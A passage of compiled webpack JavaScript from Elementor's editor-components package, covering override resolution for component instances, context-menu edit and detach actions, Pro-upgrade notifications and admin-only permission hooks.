/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useResolvedInnerElement: function() { return /* binding */ useResolvedInnerElement; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");
/* harmony import */ var _provider_component_instance_context__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../../provider/component-instance-context */ "./packages/packages/core/editor-components/src/provider/component-instance-context.tsx");
/* harmony import */ var _utils_resolve_overrides_chain__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ../../../utils/resolve-overrides-chain */ "./packages/packages/core/editor-components/src/utils/resolve-overrides-chain.ts");
/* harmony import */ var _errors__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ../../errors */ "./packages/packages/core/editor-components/src/components/errors.ts");
/* harmony import */ var _resolve_element_settings__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./resolve-element-settings */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/resolve-element-settings.ts");









function useResolvedInnerElement(overridableProp) {
  const componentInstanceElement = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__.useElement)();
  const componentId = (0,_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_5__.useComponentId)();
  const overrides = (0,_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_5__.useComponentInstanceOverrides)();
  const {
    elementId: originElementId,
    widgetType,
    elType
  } = overridableProp.originPropFields ?? overridableProp;
  const type = elType === 'widget' ? widgetType : elType;
  const elementType = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_2__.getElementType)(type);
  if (!elementType) {
    throw new Error(`Element type not found for ${type}`);
  }
  const {
    elementId,
    overridesMapping
  } = (0,react__WEBPACK_IMPORTED_MODULE_0__.useMemo)(() => {
    const overridesChainResult = (0,_utils_resolve_overrides_chain__WEBPACK_IMPORTED_MODULE_6__.resolveOverridesChain)({
      outerOverridableProp: overridableProp,
      outerInstanceId: componentInstanceElement.element.id
    });
    if (overridesChainResult.isChainBroken) {
      throw new _errors__WEBPACK_IMPORTED_MODULE_7__.OverrideControlInnerElementNotFoundError({
        context: {
          componentId,
          elementId: originElementId
        }
      });
    }
    return {
      elementId: overridesChainResult.innerElement.id,
      overridesMapping: overridesChainResult.overridesMapping
    };
  }, [overridableProp, componentInstanceElement.element.id, componentId, originElementId]);

  // Not reactive to inner element store changes — intentional.
  // Inner element settings can only change in component edit mode, which unmounts this component.
  const settingsWithInnerOverrides = (0,react__WEBPACK_IMPORTED_MODULE_0__.useMemo)(() => {
    const settings = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_2__.getElementSettings)(elementId, Object.keys(elementType?.propsSchema ?? {}));
    return (0,_resolve_element_settings__WEBPACK_IMPORTED_MODULE_8__.applyOverridesToSettings)(settings, overridesMapping);
  }, [elementId, elementType?.propsSchema, overridesMapping]);
  const resolvedElementSettings = (0,react__WEBPACK_IMPORTED_MODULE_0__.useMemo)(() => {
    const withAllOverrides = (0,_resolve_element_settings__WEBPACK_IMPORTED_MODULE_8__.applyOverridesToSettings)(settingsWithInnerOverrides, formatOverridesToApply(overrides));
    return (0,_resolve_element_settings__WEBPACK_IMPORTED_MODULE_8__.unwrapOverridableSettings)(withAllOverrides);
  }, [settingsWithInnerOverrides, overrides]);
  return {
    elementId,
    elementType,
    resolvedOriginValues: settingsWithInnerOverrides,
    resolvedElementSettings
  };
}
function formatOverridesToApply(overrides) {
  if (!overrides) {
    return {};
  }
  const result = {};
  for (const item of overrides) {
    const overridable = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_4__.componentOverridablePropTypeUtil.extract(item);
    let override = item;
    if (overridable) {
      override = overridable.origin_value;
    }
    const extractedOverride = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_3__.componentInstanceOverridePropTypeUtil.extract(override);
    if (!extractedOverride) {
      continue;
    }
    result[extractedOverride.override_key] = {
      value: extractedOverride.override_value
    };
  }
  return result;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/load-template-components.tsx":
/*!**********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/load-template-components.tsx ***!
  \**********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   LoadTemplateComponents: function() { return /* binding */ LoadTemplateComponents; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_templates__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-templates */ "@elementor/editor-templates");
/* harmony import */ var _elementor_editor_templates__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_templates__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../store/actions/load-components-assets */ "./packages/packages/core/editor-components/src/store/actions/load-components-assets.ts");




const LoadTemplateComponents = () => {
  if ((0,_elementor_editor_templates__WEBPACK_IMPORTED_MODULE_1__.isHandlingTemplateStyles)()) {
    return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(LoadTemplateComponentsInternal, null);
  }
  return null;
};
function LoadTemplateComponentsInternal() {
  const templates = (0,_elementor_editor_templates__WEBPACK_IMPORTED_MODULE_1__.useLoadedTemplates)();
  (0,react__WEBPACK_IMPORTED_MODULE_0__.useEffect)(() => {
    (0,_store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_2__.loadComponentsAssets)(templates.flatMap(elements => elements ?? []));
  }, [templates]);
  return null;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/consts.ts":
/*!****************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/consts.ts ***!
  \****************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   COMPONENT_WIDGET_TYPE: function() { return /* binding */ COMPONENT_WIDGET_TYPE; }
/* harmony export */ });
const COMPONENT_WIDGET_TYPE = 'e-component';

/***/ }),

/***/ "./packages/packages/core/editor-components/src/create-component-type.ts":
/*!*******************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/create-component-type.ts ***!
  \*******************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   COMPONENT_WIDGET_TYPE: function() { return /* binding */ COMPONENT_WIDGET_TYPE; },
/* harmony export */   createComponentType: function() { return /* binding */ createComponentType; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-canvas */ "@elementor/editor-canvas");
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-documents */ "@elementor/editor-documents");
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-notifications */ "@elementor/editor-notifications");
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @elementor/utils */ "@elementor/utils");
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_elementor_utils__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_5___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__);
/* harmony import */ var _api__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./api */ "./packages/packages/core/editor-components/src/api.ts");
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _utils_detach_component_instance__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./utils/detach-component-instance */ "./packages/packages/core/editor-components/src/utils/detach-component-instance/index.ts");
/* harmony import */ var _utils_format_component_elements_id__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./utils/format-component-elements-id */ "./packages/packages/core/editor-components/src/utils/format-component-elements-id.ts");
/* harmony import */ var _utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./utils/is-pro-components-supported */ "./packages/packages/core/editor-components/src/utils/is-pro-components-supported.ts");
/* harmony import */ var _utils_switch_to_component__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./utils/switch-to-component */ "./packages/packages/core/editor-components/src/utils/switch-to-component.ts");
/* harmony import */ var _utils_tracking__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./utils/tracking */ "./packages/packages/core/editor-components/src/utils/tracking.ts");













const COMPONENT_WIDGET_TYPE = 'e-component';
const EDIT_COMPONENT_DB_CLICK_UPGRADE_URL = 'https://go.elementor.com/go-pro-components-Instance-edit-canvas-double-click/';
const EDIT_COMPONENT_CONTEXT_MENU_UPGRADE_URL = 'https://go.elementor.com/go-pro-components-Instance-edit-context-menu/';
const UPDATE_PLUGINS_URL = '/wp-admin/plugins.php';
const COMPONENT_EDIT_UPGRADE_NOTIFICATION_ID = 'component-edit-upgrade';
const COMPONENT_EDIT_UPDATE_NOTIFICATION_ID = 'component-edit-update';
const COMPONENT_EDIT_UPGRADE_AUTO_HIDE_DURATION = 2000;
function notifyComponentEditUpgrade() {
  (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_2__.notify)({
    type: 'promotion',
    id: COMPONENT_EDIT_UPGRADE_NOTIFICATION_ID,
    message: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('Editing components requires an active Pro subscription.', 'elementor'),
    autoHideDuration: COMPONENT_EDIT_UPGRADE_AUTO_HIDE_DURATION,
    additionalActionProps: [{
      size: 'small',
      variant: 'contained',
      color: 'promotion',
      href: EDIT_COMPONENT_DB_CLICK_UPGRADE_URL,
      target: '_blank',
      children: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('Upgrade Now', 'elementor')
    }]
  });
}
function notifyComponentEditUpdate() {
  (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_2__.notify)({
    type: 'info',
    id: COMPONENT_EDIT_UPDATE_NOTIFICATION_ID,
    message: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('To edit components, update Elementor Pro to the latest version.', 'elementor'),
    additionalActionProps: [{
      size: 'small',
      variant: 'contained',
      color: 'info',
      href: UPDATE_PLUGINS_URL,
      target: '_blank',
      children: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('Update Now', 'elementor')
    }]
  });
}
const updateGroups = (groups, config) => {
  const disableMap = new Map(Object.entries(config.disable ?? {}));
  const addMap = new Map(Object.entries(config.add ?? {}));
  return groups.map(group => {
    const disabledActions = disableMap.get(group.name) ?? [];
    const addConfig = addMap.get(group.name);

    // Update disabled actions
    const updatedActions = group.actions.map(action => disabledActions.includes(action.name) ? {
      ...action,
      isEnabled: () => false
    } : action);

    // Insert additional actions if needed
    if (addConfig) {
      updatedActions.splice(addConfig.index, 0, ...addConfig.actions);
    }
    return {
      ...group,
      actions: updatedActions
    };
  });
};
function createComponentType(options) {
  const legacyWindow = window;
  const WidgetType = legacyWindow.elementor.modules.elements.types.Widget;
  const view = createComponentView({
    ...options
  });
  return class extends WidgetType {
    getType() {
      return options.type;
    }
    getView() {
      return view;
    }
    getModel() {
      return createComponentModel();
    }
  };
}
function createComponentView(options) {
  const legacyWindow = window;
  return class extends (0,_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__.createTemplatedElementView)(options) {
    eventsManagerConfig = legacyWindow.elementorCommon.eventsManager.config;
    #componentRenderContext;
    isComponentCurrentlyEdited() {
      const currentDocument = (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_1__.getCurrentDocument)();
      return currentDocument?.id === this.getComponentId();
    }
    getRenderContext() {
      const namespaceKey = this.getNamespaceKey();
      const parentContext = this._parent?.getRenderContext?.();
      const parentComponentContext = parentContext?.[namespaceKey];
      if (!this.#componentRenderContext) {
        return parentContext;
      }
      const ownOverrides = this.#componentRenderContext.overrides ?? {};
      const parentOverrides = parentComponentContext?.overrides ?? {};
      return {
        ...parentContext,
        [namespaceKey]: {
          overrides: {
            ...parentOverrides,
            ...ownOverrides
          }
        }
      };
    }
    getResolverRenderContext() {
      const namespaceKey = this.getNamespaceKey();
      const context = this.getRenderContext();
      const ownContext = context?.[namespaceKey];
      if (!ownContext) {
        return this._parent?.getResolverRenderContext?.();
      }
      const parentResolverContext = this._parent?.getResolverRenderContext?.();
      return {
        ...parentResolverContext,
        ...ownContext
      };
    }
    afterSettingsResolve(settings) {
      const componentInstance = settings.component_instance;
      if (componentInstance) {
        this.#componentRenderContext = {
          overrides: componentInstance.overrides ?? {}
        };
        const instanceId = this.model.get('id');
        const elements = componentInstance.elements ?? [];
        const formattedElements = (0,_utils_format_component_elements_id__WEBPACK_IMPORTED_MODULE_9__.formatComponentElementsId)(elements, [instanceId]);
        this.collection = legacyWindow.elementor.createBackboneElementsCollection(formattedElements);
        this.collection.models.forEach(setInactiveRecursively);
        settings.component_instance = '<template data-children-placeholder></template>';
      }
      return settings;
    }
    getDomElement() {
      // Component does not have a DOM element, so we return the first child's DOM element.
      return this.children.findByIndex(0)?.getDomElement() ?? this.$el;
    }
    attachBuffer(collectionView, buffer) {
      const childrenPlaceholder = collectionView.$el.find('[data-children-placeholder]').get(0);
      if (!childrenPlaceholder) {
        super.attachBuffer(collectionView, buffer);
        return;
      }
      childrenPlaceholder.replaceWith(buffer);
    }
    getComponentId() {
      const componentInstance = this.options?.model?.get('settings')?.get('component_instance')?.value;
      return componentInstance.component_id.value;
    }
    getContextMenuGroups() {
      const filteredGroups = super.getContextMenuGroups().filter(group => group.name !== 'save');
      const componentId = this.getComponentId();
      if (!componentId) {
        return filteredGroups;
      }
      const newGroups = updateGroups(filteredGroups, this._getContextMenuConfig());
      return newGroups;
    }
    _getContextMenuConfig() {
      const isAdministrator = isUserAdministrator();
      const hasPro = (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_4__.hasProInstalled)();
      const isOutdated = (0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_10__.isProOutdatedForComponents)();
      const showPromoBadge = !hasPro && !isOutdated;
      const badgeClass = 'elementor-context-menu-list__item__shortcut__promotion-badge';
      const proBadge = `<a href="${EDIT_COMPONENT_CONTEXT_MENU_UPGRADE_URL}" target="_blank" onclick="event.stopPropagation()" class="${badgeClass}"><i class="eicon-upgrade-crown"></i></a>`;
      const editComponentAction = {
        name: 'edit component',
        icon: 'eicon-edit',
        title: () => (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('Edit Component', 'elementor'),
        ...(showPromoBadge && {
          shortcut: proBadge,
          hasShortcutAction: true
        }),
        isEnabled: () => (0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_10__.isProComponentsSupported)() || isOutdated,
        callback: (_, eventData) => this.editComponent(eventData)
      };
      const detachInstanceAction = {
        name: 'detach instance',
        icon: 'eicon-chain-broken',
        title: () => (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('Detach from Component', 'elementor'),
        isEnabled: () => true,
        callback: (_, eventData) => this.detachInstance(eventData)
      };
      const actions = isAdministrator ? [editComponentAction, detachInstanceAction] : [detachInstanceAction];
      const addedGroup = {
        general: {
          index: 1,
          actions
        }
      };
      const disabledGroup = {
        clipboard: ['pasteStyle', 'resetStyle']
      };
      return {
        add: addedGroup,
        disable: disabledGroup
      };
    }
    async switchDocument() {
      //todo: handle unpublished
      const {
        isAllowedToSwitchDocument,
        lockedBy
      } = await _api__WEBPACK_IMPORTED_MODULE_6__.apiClient.getComponentLockStatus(this.getComponentId());
      if (!isAllowedToSwitchDocument) {
        options.showLockedByModal?.(lockedBy || '');
      } else {
        (0,_utils_switch_to_component__WEBPACK_IMPORTED_MODULE_11__.switchToComponent)(this.getComponentId(), this.model.get('id'), this.el);
      }
    }
    editComponent({
      trigger,
      location,
      secondaryLocation
    }) {
      if ((0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_10__.isProOutdatedForComponents)()) {
        notifyComponentEditUpdate();
        return;
      }
      if (!(0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_10__.isProComponentsSupported)() || this.isComponentCurrentlyEdited()) {
        return;
      }
      this.switchDocument();
      const editorSettings = this.model.get('editor_settings');
      (0,_utils_tracking__WEBPACK_IMPORTED_MODULE_12__.trackComponentEvent)({
        action: 'edited',
        executedBy: 'user',
        component_uid: editorSettings?.component_uid,
        component_name: editorSettings?.title,
        location,
        secondary_location: secondaryLocation,
        trigger
      });
    }
    detachInstance({
      trigger,
      location,
      secondaryLocation
    }) {
      const componentId = this.getComponentId();
      const instanceId = this.model.get('id');
      if (!componentId || !instanceId) {
        return;
      }
      const handleConfirm = async () => {
        try {
          await (0,_utils_detach_component_instance__WEBPACK_IMPORTED_MODULE_8__.detachComponentInstance)({
            instanceId,
            componentId,
            trackingInfo: {
              location,
              secondaryLocation,
              trigger
            }
          });
        } catch {
          (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_2__.notify)({
            type: 'error',
            message: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_5__.__)('Failed to detach component instance.', 'elementor'),
            id: 'detach-component-instance-failed'
          });
        }
      };
      options.showDetachConfirmDialog?.(handleConfirm);
    }
    handleDblClick(e) {
      e.stopPropagation();
      if (!isUserAdministrator()) {
        return;
      }
      if ((0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_10__.isProOutdatedForComponents)()) {
        notifyComponentEditUpdate();
        return;
      }
      if (!(0,_elementor_utils__WEBPACK_IMPORTED_MODULE_4__.hasProInstalled)()) {
        notifyComponentEditUpgrade();
        return;
      }
      const {
        triggers,
        locations,
        secondaryLocations
      } = this.eventsManagerConfig;
      this.editComponent({
        trigger: triggers.doubleClick,
        location: locations.canvas,
        secondaryLocation: secondaryLocations.canvasElement
      });
    }
    events() {
      return {
        ...super.events(),
        dblclick: this.handleDblClick
      };
    }
    attributes() {
      return {
        ...super.attributes(),
        'data-elementor-id': this.getComponentId()
      };
    }
  };
}
function setInactiveRecursively(model) {
  const editSettings = model.get('editSettings');
  if (editSettings) {
    editSettings.set('inactive', true);
  }
  const elements = model.get('elements');
  if (elements) {
    elements.forEach(childModel => {
      setInactiveRecursively(childModel);
    });
  }
}
function isUserAdministrator() {
  const legacyWindow = window;
  return legacyWindow.elementor.config?.user?.is_administrator ?? false;
}
function createComponentModel() {
  const legacyWindow = window;
  const WidgetType = legacyWindow.elementor.modules.elements.types.Widget;
  const widgetTypeInstance = new WidgetType();
  const BaseWidgetModel = widgetTypeInstance.getModel();
  return BaseWidgetModel.extend({
    initialize(attributes, options) {
      BaseWidgetModel.prototype.initialize.call(this, attributes, options);
      const componentInstance = this.get('settings')?.get('component_instance');
      if (componentInstance?.value) {
        const componentId = componentInstance.value.component_id?.value;
        if (componentId && typeof componentId === 'number') {
          this.set('componentId', componentId);
        }
      }
      this.set('isGlobal', true);
    },
    getTitle() {
      const editorSettings = this.get('editor_settings');
      const instanceTitle = editorSettings?.title;
      if (instanceTitle) {
        return instanceTitle;
      }
      const componentUid = editorSettings?.component_uid;
      if (componentUid) {
        const component = (0,_store_store__WEBPACK_IMPORTED_MODULE_7__.selectComponentByUid)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_3__.__getState)(), componentUid);
        if (component?.name) {
          return component.name;
        }
      }
      return window.elementor.getElementData(this).title;
    },
    getComponentId() {
      return this.get('componentId') || null;
    },
    getComponentName() {
      return this.getTitle();
    },
    getComponentUid() {
      const editorSettings = this.get('editor_settings');
      return editorSettings?.component_uid || null;
    }
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/hooks/use-components-permissions.ts":
/*!******************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/hooks/use-components-permissions.ts ***!
  \******************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useComponentsPermissions: function() { return /* binding */ useComponentsPermissions; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_current_user__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-current-user */ "@elementor/editor-current-user");
/* harmony import */ var _elementor_editor_current_user__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_current_user__WEBPACK_IMPORTED_MODULE_0__);

const useComponentsPermissions = () => {
  const {
    isAdmin
  } = (0,_elementor_editor_current_user__WEBPACK_IMPORTED_MODULE_0__.useCurrentUserCapabilities)();
  return {
    canCreate: isAdmin,
    canEdit: isAdmin,
    canDelete: isAdmin,
    canRename: isAdmin
  };
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/hooks/use-components.ts":
/*!******************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/hooks/use-components.ts ***!
  \******************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useComponents: function() { return /* binding */ useComponents; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");


const useComponents = () => {
  const components = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(_store_store__WEBPACK_IMPORTED_MODULE_1__.selectComponents);
  const isLoading = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(_store_store__WEBPACK_IMPORTED_MODULE_1__.selectLoadIsPending);
  return {
    components,
    isLoading
  };
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/hooks/use-controls-by-widget-type.ts":
/*!*******************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/hooks/use-controls-by-widget-type.ts ***!
  \*******************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useControlsByWidgetType: function() { return /* binding */ useControlsByWidgetType; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__);

function useControlsByWidgetType(type) {
  const elementType = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.getElementType)(type);
  if (!elementType) {
    return {};
  }
  const controls = iterateControls(elementType.controls);
  return getControlsByBind(controls);
}
function iterateControls(controls) {
  return controls.map(control => {
    if (control.type === 'control' && 'bind' in control.value) {
      return control;
    }
    if (control.type === 'section') {
      return iterateControls(control.value.items);
    }
    return null;
  }).filter(Boolean).flat();
}
function getControlsByBind(controls) {
  return controls.reduce((controlsByBind, control) => ({
    ...controlsByBind,
    [control.value.bind]: control
  }), {});
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/hooks/use-sanitize-overridable-props.ts":
/*!**********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/hooks/use-sanitize-overridable-props.ts ***!
  \**********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useSanitizeOverridableProps: function() { return /* binding */ useSanitizeOverridableProps; }
/* harmony export */ });
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _utils_filter_valid_overridable_props__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../utils/filter-valid-overridable-props */ "./packages/packages/core/editor-components/src/utils/filter-valid-overridable-props.ts");


function useSanitizeOverridableProps(componentId, instanceElementId) {
  const overridableProps = (0,_store_store__WEBPACK_IMPORTED_MODULE_0__.useOverridableProps)(componentId);
  const isSanitized = (0,_store_store__WEBPACK_IMPORTED_MODULE_0__.useIsSanitizedComponent)(componentId, 'overridableProps');
  if (!overridableProps || !componentId) {
    return undefined;
  }
  if (isSanitized) {
    return overridableProps;
  }
  return (0,_utils_filter_valid_overridable_props__WEBPACK_IMPORTED_MODULE_1__.filterValidOverridableProps)(overridableProps, instanceElementId);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/init.ts":
/*!**************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/init.ts ***!
  \**************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   init: function() { return /* binding */ init; }
/* harmony export */ });
/* harmony import */ var _elementor_editor__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor */ "@elementor/editor");
/* harmony import */ var _elementor_editor__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-canvas */ "@elementor/editor-canvas");
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-documents */ "@elementor/editor-documents");
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_2__);
